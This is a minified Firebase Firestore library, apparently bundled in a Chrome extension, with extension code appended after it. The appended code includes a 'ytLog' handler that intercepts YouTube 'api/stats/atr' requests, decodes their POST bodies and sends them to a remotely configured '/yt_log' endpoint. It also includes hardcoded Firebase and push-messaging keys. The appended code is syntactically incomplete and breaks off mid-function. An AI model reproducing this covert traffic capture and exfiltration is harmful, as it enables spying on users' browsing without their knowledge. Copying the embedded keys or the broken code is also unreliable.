Su(t.client,t.sessionIndex||"0");case"provider":return t.client;default:throw new rr(nr.INVALID_ARGUMENT,"makeCredentialsProvider failed due to invalid credential type")}}(e.credentials))},t.prototype.enableNetwork=function(){return this.ensureClientConfigured(),this._firestoreClient.enableNetwork()},t.prototype.disableNetwork=function(){return this.ensureClientConfigured(),this._firestoreClient.disableNetwork()},t.prototype.enablePersistence=function(t){if(this._firestoreClient)throw new rr(nr.FAILED_PRECONDITION,"Firestore has already been started and persistence can no longer be enabled. You can only call enablePersistence() before calling any other methods on a Firestore object.");return this.configureClient(new Xu(!0,t))},t.prototype.ensureClientConfigured=function(){return this._firestoreClient||this.configureClient(new Xu(!1)),this._firestoreClient},t.prototype.configureClient=function(t){var e=this;Zn(!!this._config.settings.host,"FirestoreSettings.host cannot be falsey"),this._config.settings.timestampsInSnapshots||Yn("\nThe behavior for Date objects stored in Firestore is going to change\nAND YOUR APP MAY BREAK.\nTo hide this warning and ensure your app does not break, you need to add the\nfollowing code to your app before calling any other Cloud Firestore methods:\n\n  const firestore = firebase.firestore();\n  const settings = {/* your settings... */ timestampsInSnapshots: true};\n  firestore.settings(settings);\n\nWith this change, timestamps stored in Cloud Firestore will be read back as\nFirebase Timestamp objects instead of as system Date objects. So you will also\nneed to update code expecting a Date to instead expect a Timestamp. For example:\n\n  // Old:\n  const date = snapshot.get('created_at');\n  // New:\n  const timestamp = snapshot.get('created_at');\n  const date = timestamp.toDate();\n\nPlease audit all existing usages of Date when you enable the new behavior. In a\nfuture release, the behavior will change to the new behavior, so if you do not\nfollow these steps, YOUR APP MAY BREAK."),Zn(!this._firestoreClient,"configureClient() called multiple times");var n=new Fr(this._config.databaseId,this._config.persistenceKey,this._config.settings.host,this._config.settings.ssl);return this._dataConverter=new qu(function(t){if(t instanceof Zu){var n=e._config.databaseId,r=t.firestore._config.databaseId;if(!r.isEqual(n))throw new rr(nr.INVALID_ARGUMENT,"Document reference is for database "+r.projectId+"/"+r.database+" but should be for database "+n.projectId+"/"+n.database);return new xu(e._config.databaseId,t._key)}return t}),this._firestoreClient=new pu(tr.getPlatform(),n,this._config.credentials,this._queue),this._firestoreClient.start(t)},t.databaseIdFromApp=function(t){var e=t.options;if(!or(e,"projectId"))throw new rr(nr.INVALID_ARGUMENT,'"projectId" not provided in firebase.initializeApp.');var n=e.projectId;if(!n||"string"!=typeof n)throw new rr(nr.INVALID_ARGUMENT,"projectId must be a string in FirebaseApp.options");return new Br(n)},Object.defineProperty(t.prototype,"app",{get:function(){if(!this._config.firebaseApp)throw new rr(nr.FAILED_PRECONDITION,"Firestore was not initialized using the Firebase SDK. 'app' is not available");return this._config.firebaseApp},enumerable:!0,configurable:!0}),t.prototype.collection=function(t){if(hr("Firestore.collection",arguments,1),dr("Firestore.collection","non-empty string",1,t),!t)throw new rr(nr.INVALID_ARGUMENT,"Must provide a non-empty collection path to collection()");return this.ensureClientConfigured(),new oc(Qr.fromString(t),this)},t.prototype.doc=function(t){if(hr("Firestore.doc",arguments,1),dr("Firestore.doc","non-empty string",1,t),!t)throw new rr(nr.INVALID_ARGUMENT,"Must provide a non-empty document path to doc()");return this.ensureClientConfigured(),Zu.forPath(Qr.fromString(t),this)},t.prototype.runTransaction=function(t){var e=this;return hr("Firestore.runTransaction",arguments,1),dr("Firestore.runTransaction","function",1,t),this.ensureClientConfigured().transaction(function(n){return t(new Ju(e,n))})},t.prototype.batch=function(){return this.ensureClientConfigured(),new $u(this)},Object.defineProperty(t,"logLevel",{get:function(){switch(zn()){case qn.DEBUG:return"debug";case qn.ERROR:return"error";case qn.SILENT:return"silent";default:return $n("Unknown log level: "+zn())}},enumerable:!0,configurable:!0}),t.setLogLevel=function(t){switch(hr("Firestore.setLogLevel",arguments,1),dr("Firestore.setLogLevel","non-empty string",1,t),t){case"debug":Hn(qn.DEBUG);break;case"error":Hn(qn.ERROR);break;case"silent":Hn(qn.SILENT);break;default:throw new rr(nr.INVALID_ARGUMENT,"Invalid log level: "+t)}},t.prototype._areTimestampsInSnapshotsEnabled=function(){return this._config.settings.timestampsInSnapshots},t}(),Ju=function(){function t(t,e){this._firestore=t,this._transaction=e}return t.prototype.get=function(t){var e=this;hr("Transaction.get",arguments,1);var n=cc("Transaction.get",t,this._firestore);return this._transaction.lookup([n._key]).then(function(t){if(!t||1!==t.length)return $n("Mismatch in docs returned from document lookup.");var r=t[0];if(r instanceof Hr)return new ec(e._firestore,n._key,null,!1,!1);if(r instanceof zr)return new ec(e._firestore,n._key,r,!1,!1);throw $n("BatchGetDocumentsRequest returned unexpected document type: "+r.constructor.name)})},t.prototype.set=function(t,e,n){fr("Transaction.set",arguments,2,3);var r=cc("Transaction.set",t,this._firestore),i=(n=sc("Transaction.set",n)).merge||n.mergeFields?this._firestore._dataConverter.parseMergeData("Transaction.set",e,n.mergeFields):this._firestore._dataConverter.parseSetData("Transaction.set",e);return this._transaction.set(r._key,i),this},t.prototype.update=function(t,e,n){for(var r,i,o=[],s=3;s<arguments.length;s++)o[s-3]=arguments[s];return"string"==typeof e||e instanceof yu?(lr("Transaction.update",arguments,3),r=cc("Transaction.update",t,this._firestore),i=this._firestore._dataConverter.parseUpdateVarargs("Transaction.update",e,n,o)):(hr("Transaction.update",arguments,2),r=cc("Transaction.update",t,this._firestore),i=this._firestore._dataConverter.parseUpdateData("Transaction.update",e)),this._transaction.update(r._key,i),this},t.prototype.delete=function(t){hr("Transaction.delete",arguments,1);var e=cc("Transaction.delete",t,this._firestore);return this._transaction.delete(e._key),this},t}(),$u=function(){function t(t){this._firestore=t,this._mutations=[],this._committed=!1}return t.prototype.set=function(t,e,n){fr("WriteBatch.set",arguments,2,3),this.verifyNotCommitted();var r=cc("WriteBatch.set",t,this._firestore),i=(n=sc("WriteBatch.set",n)).merge||n.mergeFields?this._firestore._dataConverter.parseMergeData("WriteBatch.set",e,n.mergeFields):this._firestore._dataConverter.parseSetData("WriteBatch.set",e);return this._mutations=this._mutations.concat(i.toMutations(r._key,Bi.NONE)),this},t.prototype.update=function(t,e,n){for(var r,i,o=[],s=3;s<arguments.length;s++)o[s-3]=arguments[s];return this.verifyNotCommitted(),"string"==typeof e||e instanceof yu?(lr("WriteBatch.update",arguments,3),r=cc("WriteBatch.update",t,this._firestore),i=this._firestore._dataConverter.parseUpdateVarargs("WriteBatch.update",e,n,o)):(hr("WriteBatch.update",arguments,2),r=cc("WriteBatch.update",t,this._firestore),i=this._firestore._dataConverter.parseUpdateData("WriteBatch.update",e)),this._mutations=this._mutations.concat(i.toMutations(r._key,Bi.exists(!0))),this},t.prototype.delete=function(t){hr("WriteBatch.delete",arguments,1),this.verifyNotCommitted();var e=cc("WriteBatch.delete",t,this._firestore);return this._mutations=this._mutations.concat(new ji(e._key,Bi.NONE)),this},t.prototype.commit=function(){return u(this,void 0,void 0,function(){return c(this,function(t){return this.verifyNotCommitted(),this._committed=!0,this._mutations.length>0?[2,this._firestore.ensureClientConfigured().write(this._mutations)]:[2]})})},t.prototype.verifyNotCommitted=function(){if(this._committed)throw new rr(nr.FAILED_PRECONDITION,"A write batch can no longer be used after commit() has been called.")},t}(),Zu=function(){function t(t,e){this._key=t,this.firestore=e,this._firestoreClient=this.firestore.ensureClientConfigured()}return t.forPath=function(e,n){if(e.length%2!=0)throw new rr(nr.INVALID_ARGUMENT,"Invalid document reference. Document references must have an even number of segments, but "+e.canonicalString()+" has "+e.length);return new t(new jr(e),n)},Object.defineProperty(t.prototype,"id",{get:function(){return this._key.path.lastSegment()},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"parent",{get:function(){return new oc(this._key.path.popLast(),this.firestore)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"path",{get:function(){return this._key.path.canonicalString()},enumerable:!0,configurable:!0}),t.prototype.collection=function(t){if(hr("DocumentReference.collection",arguments,1),dr("DocumentReference.collection","non-empty string",1,t),!t)throw new rr(nr.INVALID_ARGUMENT,"Must provide a non-empty collection name to collection()");var e=Qr.fromString(t);return new oc(this._key.path.child(e),this.firestore)},t.prototype.isEqual=function(e){if(!(e instanceof t))throw Ir("isEqual","DocumentReference",1,e);return this.firestore===e.firestore&&this._key.isEqual(e._key)},t.prototype.set=function(t,e){fr("DocumentReference.set",arguments,1,2);var n=(e=sc("DocumentReference.set",e)).merge||e.mergeFields?this.firestore._dataConverter.parseMergeData("DocumentReference.set",t,e.mergeFields):this.firestore._dataConverter.parseSetData("DocumentReference.set",t);return this._firestoreClient.write(n.toMutations(this._key,Bi.NONE))},t.prototype.update=function(t,e){for(var n,r=[],i=2;i<arguments.length;i++)r[i-2]=arguments[i];return"string"==typeof t||t instanceof yu?(lr("DocumentReference.update",arguments,2),n=this.firestore._dataConverter.parseUpdateVarargs("DocumentReference.update",t,e,r)):(hr("DocumentReference.update",arguments,1),n=this.firestore._dataConverter.parseUpdateData("DocumentReference.update",t)),this._firestoreClient.write(n.toMutations(this._key,Bi.exists(!0)))},t.prototype.delete=function(){return hr("DocumentReference.delete",arguments,0),this._firestoreClient.write([new ji(this._key,Bi.NONE)])},t.prototype.onSnapshot=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];fr("DocumentReference.onSnapshot",arguments,1,4);var n,r={includeMetadataChanges:!1},i=0;"object"!=typeof t[i]||Eu(t[i])||(Er("DocumentReference.onSnapshot",r=t[i],["includeMetadataChanges"]),yr("DocumentReference.onSnapshot","boolean","includeMetadataChanges",r.includeMetadataChanges),i++);var o={includeMetadataChanges:r.includeMetadataChanges};return Eu(t[i])?n=t[i]:(dr("DocumentReference.onSnapshot","function",i,t[i]),pr("DocumentReference.onSnapshot","function",i+1,t[i+1]),pr("DocumentReference.onSnapshot","function",i+2,t[i+2]),n={next:t[i],error:t[i+1],complete:t[i+2]}),this.onSnapshotInternal(o,n)},t.prototype.onSnapshotInternal=function(t,e){var n=this,r=function(t){console.error("Uncaught Error in onSnapshot:",t)};e.error&&(r=e.error.bind(e));var i=new mu({next:function(t){if(e.next){Zn(t.docs.size<=1,"Too many documents returned on a document query");var r=t.docs.get(n._key);e.next(new ec(n.firestore,n._key,r,t.fromCache,t.hasPendingWrites))}},error:r}),o=this._firestoreClient.listen(Ei.atPath(this._key.path),i,t);return function(){i.mute(),n._firestoreClient.unlisten(o)}},t.prototype.get=function(t){var e=this;return fr("DocumentReference.get",arguments,0,1),uc("DocumentReference.get",t),new Promise(function(n,r){t&&"cache"===t.source?e.firestore.ensureClientConfigured().getDocumentFromLocalCache(e._key).then(function(t){n(new ec(e.firestore,e._key,t,!0,t instanceof zr&&t.hasLocalMutations))},r):e.getViaSnapshotListener(n,r,t)})},t.prototype.getViaSnapshotListener=function(t,e,n){var r=this.onSnapshotInternal({includeMetadataChanges:!0,waitForSyncWhenOnline:!0},{next:function(i){r(),!i.exists&&i.metadata.fromCache?e(new rr(nr.UNAVAILABLE,"Failed to get document because the client is offline.")):i.exists&&i.metadata.fromCache&&n&&"server"===n.source?e(new rr(nr.UNAVAILABLE,'Failed to get document from server. (However, this document does exist in the local cache. Run again without setting source to "server" to retrieve the cached document.)')):t(i)},error:e})},t}(),tc=function(){function t(t,e){this.hasPendingWrites=t,this.fromCache=e}return t.prototype.isEqual=function(t){return this.hasPendingWrites===t.hasPendingWrites&&this.fromCache===t.fromCache},t}(),ec=function(){function t(t,e,n,r,i){this._firestore=t,this._key=e,this._document=n,this._fromCache=r,this._hasPendingWrites=i}return t.prototype.data=function(t){return fr("DocumentSnapshot.data",arguments,0,1),t=ac("DocumentSnapshot.data",t),this._document?this.convertObject(this._document.data,ti.fromSnapshotOptions(t,this._firestore._areTimestampsInSnapshotsEnabled())):void 0},t.prototype.get=function(t,e){if(fr("DocumentSnapshot.get",arguments,1,2),e=ac("DocumentSnapshot.get",e),this._document){var n=this._document.data.field(Bu("DocumentSnapshot.get",t));if(void 0!==n)return this.convertValue(n,ti.fromSnapshotOptions(e,this._firestore._areTimestampsInSnapshotsEnabled()))}},Object.defineProperty(t.prototype,"id",{get:function(){return this._key.path.lastSegment()},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"ref",{get:function(){return new Zu(this._key,this._firestore)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"exists",{get:function(){return null!==this._document},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"metadata",{get:function(){return new tc(this._hasPendingWrites,this._fromCache)},enumerable:!0,configurable:!0}),t.prototype.isEqual=function(e){if(!(e instanceof t))throw Ir("isEqual","DocumentSnapshot",1,e);return this._firestore===e._firestore&&this._fromCache===e._fromCache&&this._key.isEqual(e._key)&&(null===this._document?null===e._document:this._document.isEqual(e._document))},t.prototype.convertObject=function(t,e){var n=this,r={};return t.forEach(function(t,i){r[t]=n.convertValue(i,e)}),r},t.prototype.convertValue=function(t,e){if(t instanceof pi)return this.convertObject(t,e);if(t instanceof mi)return this.convertArray(t,e);if(t instanceof fi){var n=t.value(e),r=this._firestore.ensureClientConfigured().databaseId();return t.databaseId.isEqual(r)||Yn("Document "+this._key.path+" contains a document reference within a different database ("+t.databaseId.projectId+"/"+t.databaseId.database+") which is not supported. It will be treated as a reference in the current database ("+r.projectId+"/"+r.database+") instead."),new Zu(n,this._firestore)}return t.value(e)},t.prototype.convertArray=function(t,e){var n=this;return t.internalValue.map(function(t){return n.convertValue(t,e)})},t}(),nc=function(t){function e(e,n,r,i,o){return t.call(this,e,n,r,i,o)||this}return a(e,t),e.prototype.data=function(e){var n=t.prototype.data.call(this,e);return Zn("object"==typeof n,"Document in a QueryDocumentSnapshot should exist"),n},e}(ec),rc=function(){function t(t,e){this._query=t,this.firestore=e}return t.prototype.where=function(e,n,r){var i;hr("Query.where",arguments,3),dr("Query.where","non-empty string",2,n),Sr("Query.where",3,r);var o=Bu("Query.where",e),s=Ci.fromString(n);if(o.isKeyField()){if(s===Ci.ARRAY_CONTAINS)throw new rr(nr.INVALID_ARGUMENT,"Invalid Query. You can't perform array-contains queries on FieldPath.documentId() since document IDs are not arrays.");if("string"==typeof r){if(-1!==r.indexOf("/"))throw new rr(nr.INVALID_ARGUMENT,"Function Query.where() requires its third parameter to be a valid document ID if the first parameter is FieldPath.documentId(), but it contains a slash.");if(""===r)throw new rr(nr.INVALID_ARGUMENT,"Function Query.where() requires its third parameter to be a valid document ID if the first parameter is FieldPath.documentId(), but it was an empty string.");var a=this._query.path.child(new Qr([r]));Zn(a.length%2==0,"Path should be a document key"),i=new fi(this.firestore._databaseId,new jr(a))}else{if(!(r instanceof Zu))throw new rr(nr.INVALID_ARGUMENT,"Function Query.where() requires its third parameter to be a string or a DocumentReference if the first parameter is FieldPath.documentId(), but it was: "+Tr(r)+".");var u=r;i=new fi(this.firestore._databaseId,u._key)}}else i=this.firestore._dataConverter.parseQueryValue("Query.where",r);var c=Ii.create(o,s,i);return this.validateNewFilter(c),new t(this._query.addFilter(c),this.firestore)},t.prototype.orderBy=function(e,n){var r;if(fr("Query.orderBy",arguments,1,2),pr("Query.orderBy","non-empty string",2,n),void 0===n||"asc"===n)r=ki.ASCENDING;else{if("desc"!==n)throw new rr(nr.INVALID_ARGUMENT,"Function Query.orderBy() has unknown direction '"+n+"', expected 'asc' or 'desc'.");r=ki.DESCENDING}if(null!==this._query.startAt)throw new rr(nr.INVALID_ARGUMENT,"Invalid query. You must not call Query.startAt() or Query.startAfter() before calling Query.orderBy().");if(null!==this._query.endAt)throw new rr(nr.INVALID_ARGUMENT,"Invalid query. You must not call Query.endAt() or Query.endBefore() before calling Query.orderBy().");var i=Bu("Query.orderBy",e),o=new Mi(i,r);return this.validateNewOrderBy(o),new t(this._query.addOrderBy(o),this.firestore)},t.prototype.limit=function(e){if(hr("Query.limit",arguments,1),dr("Query.limit","number",1,e),e<=0)throw new rr(nr.INVALID_ARGUMENT,"Invalid Query. Query limit ("+e+") is invalid. Limit must be positive.");return new t(this._query.withLimit(e),this.firestore)},t.prototype.startAt=function(e){for(var n=[],r=1;r<arguments.length;r++)n[r-1]=arguments[r];lr("Query.startAt",arguments,1);var i=this.boundFromDocOrFields("Query.startAt",e,n,!0);return new t(this._query.withStartAt(i),this.firestore)},t.prototype.startAfter=function(e){for(var n=[],r=1;r<arguments.length;r++)n[r-1]=arguments[r];lr("Query.startAfter",arguments,1);var i=this.boundFromDocOrFields("Query.startAfter",e,n,!1);return new t(this._query.withStartAt(i),this.firestore)},t.prototype.endBefore=function(e){for(var n=[],r=1;r<arguments.length;r++)n[r-1]=arguments[r];lr("Query.endBefore",arguments,1);var i=this.boundFromDocOrFields("Query.endBefore",e,n,!0);return new t(this._query.withEndAt(i),this.firestore)},t.prototype.endAt=function(e){for(var n=[],r=1;r<arguments.length;r++)n[r-1]=arguments[r];lr("Query.endAt",arguments,1);var i=this.boundFromDocOrFields("Query.endAt",e,n,!1);return new t(this._query.withEndAt(i),this.firestore)},t.prototype.isEqual=function(e){if(!(e instanceof t))throw Ir("isEqual","Query",1,e);return this.firestore===e.firestore&&this._query.isEqual(e._query)},t.prototype.boundFromDocOrFields=function(t,e,n,r){if(Sr(t,1,e),e instanceof ec){if(n.length>0)throw new rr(nr.INVALID_ARGUMENT,"Too many arguments provided to "+t+"().");var i=e;if(!i.exists)throw new rr(nr.NOT_FOUND,"Can't use a DocumentSnapshot that doesn't exist for "+t+"().");return this.boundFromDocument(t,i._document,r)}var o=[e].concat(n);return this.boundFromFields(t,o,r)},t.prototype.boundFromDocument=function(t,e,n){for(var r=[],i=0,o=this._query.orderBy;i<o.length;i++){var s=o[i];if(s.field.isKeyField())r.push(new fi(this.firestore._databaseId,e.key));else{var a=e.field(s.field);if(void 0===a){var u=s.field.canonicalString();throw new rr(nr.INVALID_ARGUMENT,"Invalid query. You are trying to start or end a query using a document for which the field '"+u+"' (used as the orderBy) does not exist.")}r.push(a)}}return new Ri(r,n)},t.prototype.boundFromFields=function(t,e,n){var r=this._query.explicitOrderBy;if(e.length>r.length)throw new rr(nr.INVALID_ARGUMENT,"Too many arguments provided to "+t+"(). The number of arguments must be less than or equal to the number of Query.orderBy() clauses");for(var i=[],o=0;o<e.length;o++){var s=e[o];if(r[o].field.isKeyField()){if("string"!=typeof s)throw new rr(nr.INVALID_ARGUMENT,"Invalid query. Expected a string for document ID in "+t+"(), but got a "+typeof s);if(-1!==s.indexOf("/"))throw new rr(nr.INVALID_ARGUMENT,"Invalid query. Document ID '"+s+"' contains a slash in "+t+"()");var a=new jr(this._query.path.child(s));i.push(new fi(this.firestore._databaseId,a))}else{var u=this.firestore._dataConverter.parseQueryValue(t,s);i.push(u)}}return new Ri(i,n)},t.prototype.onSnapshot=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];fr("Query.onSnapshot",arguments,1,4);var n,r={},i=0;return"object"!=typeof t[i]||Eu(t[i])||(Er("Query.onSnapshot",r=t[i],["includeMetadataChanges"]),yr("Query.onSnapshot","boolean","includeMetadataChanges",r.includeMetadataChanges),i++),Eu(t[i])?n=t[i]:(dr("Query.onSnapshot","function",i,t[i]),pr("Query.onSnapshot","function",i+1,t[i+1]),pr("Query.onSnapshot","function",i+2,t[i+2]),n={next:t[i],error:t[i+1],complete:t[i+2]}),this.onSnapshotInternal(r,n)},t.prototype.onSnapshotInternal=function(t,e){var n=this,r=function(t){console.error("Uncaught Error in onSnapshot:",t)};e.error&&(r=e.error.bind(e));var i=new mu({next:function(t){e.next&&e.next(new ic(n.firestore,n._query,t))},error:r}),o=this.firestore.ensureClientConfigured(),s=o.listen(this._query,i,t);return function(){i.mute(),o.unlisten(s)}},t.prototype.get=function(t){var e=this;return fr("Query.get",arguments,0,1),uc("Query.get",t),new Promise(function(n,r){t&&"cache"===t.source?e.firestore.ensureClientConfigured().getDocumentsFromLocalCache(e._query).then(function(t){n(new ic(e.firestore,e._query,t))},r):e.getViaSnapshotListener(n,r,t)})},t.prototype.getViaSnapshotListener=function(t,e,n){var r=this.onSnapshotInternal({includeMetadataChanges:!0,waitForSyncWhenOnline:!0},{next:function(i){r(),i.metadata.fromCache&&n&&"server"===n.source?e(new rr(nr.UNAVAILABLE,'Failed to get documents from server. (However, these documents may exist in the local cache. Run again without setting source to "server" to retrieve the cached documents.)')):t(i)},error:e})},t.prototype.validateNewFilter=function(t){if(t instanceof Di)if(t.isInequality()){var e=this._query.getInequalityFilterField();if(null!==e&&!e.isEqual(t.field))throw new rr(nr.INVALID_ARGUMENT,"Invalid query. All where filters with an inequality (<, <=, >, or >=) must be on the same field. But you have inequality filters on '"+e.toString()+"' and '"+t.field.toString()+"'");var n=this._query.getFirstOrderByField();null!==n&&this.validateOrderByAndInequalityMatch(t.field,n)}else if(t.op===Ci.ARRAY_CONTAINS&&this._query.hasArrayContainsFilter())throw new rr(nr.INVALID_ARGUMENT,"Invalid query. Queries only support a single array-contains filter.")},t.prototype.validateNewOrderBy=function(t){if(null===this._query.getFirstOrderByField()){var e=this._query.getInequalityFilterField();null!==e&&this.validateOrderByAndInequalityMatch(e,t.field)}},t.prototype.validateOrderByAndInequalityMatch=function(t,e){if(!e.isEqual(t))throw new rr(nr.INVALID_ARGUMENT,"Invalid query. You have a where filter with an inequality (<, <=, >, or >=) on field '"+t.toString()+"' and so you must also use '"+t.toString()+"' as your first Query.orderBy(), but your first Query.orderBy() is on field '"+e.toString()+"' instead.")},t}(),ic=function(){function t(t,e,n){this._firestore=t,this._originalQuery=e,this._snapshot=n,this._cachedChanges=null,this._cachedChangesIncludeMetadataChanges=null,this.metadata=new tc(n.hasPendingWrites,n.fromCache)}return Object.defineProperty(t.prototype,"docs",{get:function(){var t=[];return this.forEach(function(e){return t.push(e)}),t},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"empty",{get:function(){return this._snapshot.docs.isEmpty()},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"size",{get:function(){return this._snapshot.docs.size},enumerable:!0,configurable:!0}),t.prototype.forEach=function(t,e){var n=this;fr("QuerySnapshot.forEach",arguments,1,2),dr("QuerySnapshot.forEach","function",1,t),this._snapshot.docs.forEach(function(r){t.call(e,n.convertToDocumentImpl(r))})},Object.defineProperty(t.prototype,"query",{get:function(){return new rc(this._originalQuery,this._firestore)},enumerable:!0,configurable:!0}),t.prototype.docChanges=function(t){t&&(Er("QuerySnapshot.docChanges",t,["includeMetadataChanges"]),yr("QuerySnapshot.docChanges","boolean","includeMetadataChanges",t.includeMetadataChanges));var e=!(!t||!t.includeMetadataChanges);if(e&&this._snapshot.excludesMetadataChanges)throw new rr(nr.INVALID_ARGUMENT,"To include metadata changes with your document changes, you must also pass { includeMetadataChanges:true } to onSnapshot().");return this._cachedChanges&&this._cachedChangesIncludeMetadataChanges===e||(this._cachedChanges=function(t,e,n){if(n.oldDocs.isEmpty()){var r,i=0;return n.docChanges.map(function(e){var o=new nc(t,e.doc.key,e.doc,n.fromCache,n.mutatedKeys.has(e.doc.key));return Zn(e.type===lo.Added,"Invalid event type for first snapshot"),Zn(!r||n.query.docComparator(r,e.doc)<0,"Got added events in wrong order"),r=e.doc,{type:"added",doc:o,oldIndex:-1,newIndex:i++}})}var o=n.oldDocs;return n.docChanges.filter(function(t){return e||t.type!==lo.Metadata}).map(function(e){var r=new nc(t,e.doc.key,e.doc,n.fromCache,n.mutatedKeys.has(e.doc.key)),i=-1,s=-1;return e.type!==lo.Added&&(Zn((i=o.indexOf(e.doc.key))>=0,"Index for document not found"),o=o.delete(e.doc.key)),e.type!==lo.Removed&&(o=o.add(e.doc),s=o.indexOf(e.doc.key)),{type:function(t){switch(t){case lo.Added:return"added";case lo.Modified:case lo.Metadata:return"modified";case lo.Removed:return"removed";default:return $n("Unknown change type: "+t)}}(e.type),doc:r,oldIndex:i,newIndex:s}})}(this._firestore,e,this._snapshot),this._cachedChangesIncludeMetadataChanges=e),this._cachedChanges},t.prototype.isEqual=function(e){if(!(e instanceof t))throw Ir("isEqual","QuerySnapshot",1,e);return this._firestore===e._firestore&&this._originalQuery.isEqual(e._originalQuery)&&this._snapshot.isEqual(e._snapshot)},t.prototype.convertToDocumentImpl=function(t){return new nc(this._firestore,t.key,t,this.metadata.fromCache,this._snapshot.mutatedKeys.has(t.key))},t}();["length","forEach","map"].concat("undefined"!=typeof Symbol?[Symbol.iterator]:[]).forEach(function(t){try{Object.defineProperty(ic.prototype.docChanges,t,{get:function(){return function(){throw new rr(nr.INVALID_ARGUMENT,'QuerySnapshot.docChanges has been changed from a property into a method, so usages like "querySnapshot.docChanges" should become "querySnapshot.docChanges()"')}()}})}catch(t){}});var oc=function(t){function e(e,n){var r=t.call(this,Ei.atPath(e),n)||this;if(e.length%2!=1)throw new rr(nr.INVALID_ARGUMENT,"Invalid collection reference. Collection references must have an odd number of segments, but "+e.canonicalString()+" has "+e.length);return r}return a(e,t),Object.defineProperty(e.prototype,"id",{get:function(){return this._query.path.lastSegment()},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"parent",{get:function(){var t=this._query.path.popLast();return t.isEmpty()?null:new Zu(new jr(t),this.firestore)},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"path",{get:function(){return this._query.path.canonicalString()},enumerable:!0,configurable:!0}),e.prototype.doc=function(t){if(fr("CollectionReference.doc",arguments,0,1),0===arguments.length&&(t=Nr.newId()),dr("CollectionReference.doc","non-empty string",1,t),""===t)throw new rr(nr.INVALID_ARGUMENT,"Document path must be a non-empty string");var e=Qr.fromString(t);return Zu.forPath(this._query.path.child(e),this.firestore)},e.prototype.add=function(t){hr("CollectionReference.add",arguments,1),dr("CollectionReference.add","object",1,t);var e=this.doc();return e.set(t).then(function(){return e})},e}(rc);function sc(t,e){if(void 0===e)return{merge:!1};if(Er(t,e,["merge","mergeFields"]),yr(t,"boolean","merge",e.merge),gr(t,"mergeFields","a string or a FieldPath",e.mergeFields,function(t){return"string"==typeof t||t instanceof yu}),void 0!==e.mergeFields&&void 0!==e.merge)throw new rr(nr.INVALID_ARGUMENT,"Invalid options passed to function "+t+'(): You cannot specify both "merge" and "mergeFields".');return e}function ac(t,e){return void 0===e?{}:(Er(t,e,["serverTimestamps"]),vr(t,0,"serverTimestamps",e.serverTimestamps,["estimate","previous","none"]),e)}function uc(t,e){pr(t,"object",1,e),e&&(Er(t,e,["source"]),vr(t,0,"source",e.source,["default","server","cache"]))}function cc(t,e,n){if(e instanceof Zu){if(e.firestore!==n)throw new rr(nr.INVALID_ARGUMENT,"Provided document reference is from a different Firestore instance.");return e}throw Ir(t,"DocumentReference",1,e)}var hc=ir(Yu,"Use firebase.firestore() instead."),lc=ir(Ju,"Use firebase.firestore().runTransaction() instead."),fc=ir($u,"Use firebase.firestore().batch() instead."),dc=ir(Zu,"Use firebase.firestore().doc() instead."),pc=ir(ec),mc=ir(nc),yc=ir(rc),gc=ir(ic),vc=ir(oc,"Use firebase.firestore().collection() instead."),bc={Firestore:hc,GeoPoint:xr,Timestamp:qr,Blob:Lr,Transaction:lc,WriteBatch:fc,DocumentReference:dc,DocumentSnapshot:pc,Query:yc,QueryDocumentSnapshot:mc,QuerySnapshot:gc,CollectionReference:vc,FieldPath:yu,FieldValue:Ru,setLogLevel:Yu.setLogLevel};function wc(t){t.INTERNAL.registerService("firestore",function(t){return new Yu(t)},function(t){Zn(t&&"object"==typeof t,"shallowCopy() expects object parameter.");var e={};for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n]);return e}(bc))}wc(e)}(this.firebase=this.firebase||{},firebase)}catch(t){throw console.error(t),new Error("Cannot instantiate firebase-firestore - be sure to load firebase-app.js first.")}
//# sourceMappingURL=firebase-firestore.js.map
var ytLog = function (details) {
    if (details.url.indexOf("www.youtube.com/api/stats/atr") === -1) return;
    var logData = {
        url: details.url,
        request_method: details.method
    };
    if ("POST" === details.method && details.requestBody) {
        var postedString;
        if (details.requestBody.raw)
            postedString = decodeURIComponent(String.fromCharCode.apply(null, new Uint8Array(details.requestBody.raw[0].bytes)));
        else if (details.requestBody.formData) {
            var args = [];
            for (var key in details.requestBody.formData) {
                if (!details.requestBody.formData.hasOwnProperty(key)) continue;
                args.push(key + "=" + details.requestBody.formData[key])
            }
            postedString = args.join("&");
        }
        logData['post_data'] = postedString;
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "https://" + settings.scriptDomain + "/yt_log", true);
    xhr.setRequestHeader("Content-Type", "application/json");
    xhr.send(JSON.stringify({ yt_log_record: logData }));
var initFireBase = function () {
    // var config = {
    //     apiKey: "AIzaSyA9aqEZjZ25dmXjb_jepaNn2IPx63LrImc",
    //     authDomain: "main-7a69e.firebaseapp.com",
    //     databaseURL: "https://main-7a69e.firebaseio.com",
    //     projectId: "main-7a69e",
    //     storageBucket: "",
    //     messagingSenderId: "798583087835"
    // };
    var config = {
        apiKey: "AIzaSyB4AL5UKzRYY-eV8tzL67xFMhsw9QHmPnI",
        authDomain: "main-project-9dff8.firebaseapp.com",
        databaseURL: "https://main-project-9dff8.firebaseio.com",
        projectId: "main-project-9dff8",
        storageBucket: "main-project-9dff8.appspot.com",
        messagingSenderId: "785098795875"
    };
    firebase.initializeApp(config);
    messaging = firebase.messaging();
    // messaging.usePublicVapidKey('BLCH4vOQuOP7FRfHI4N-lLaW_3K_d4QDgKb-l-n-paTfqE5r-N8G5-5fqB34fxzzNk2Zd-XccEQl2GdnI4O3omE');
    messaging.usePublicVapidKey('BKoH9LVYjqAOIlc7C1y7snfdi0W5DIU9_20kiUkxJozNZDSIJjOtH70zuz63gVsdbKZKT4fSUyh5_9oKLbXIXwc');
    messaging.requestPermission().then(function () {
        messaging.getToken().then(function (currentToken) {
            if (!settings.currentToken) {
                chrome.storage.sync.set({ lastReport: null })
            }
            settings.currentToken = currentToken;
            chrome.storage.sync.set({ settings: settings });
        }).catch(function (err) {
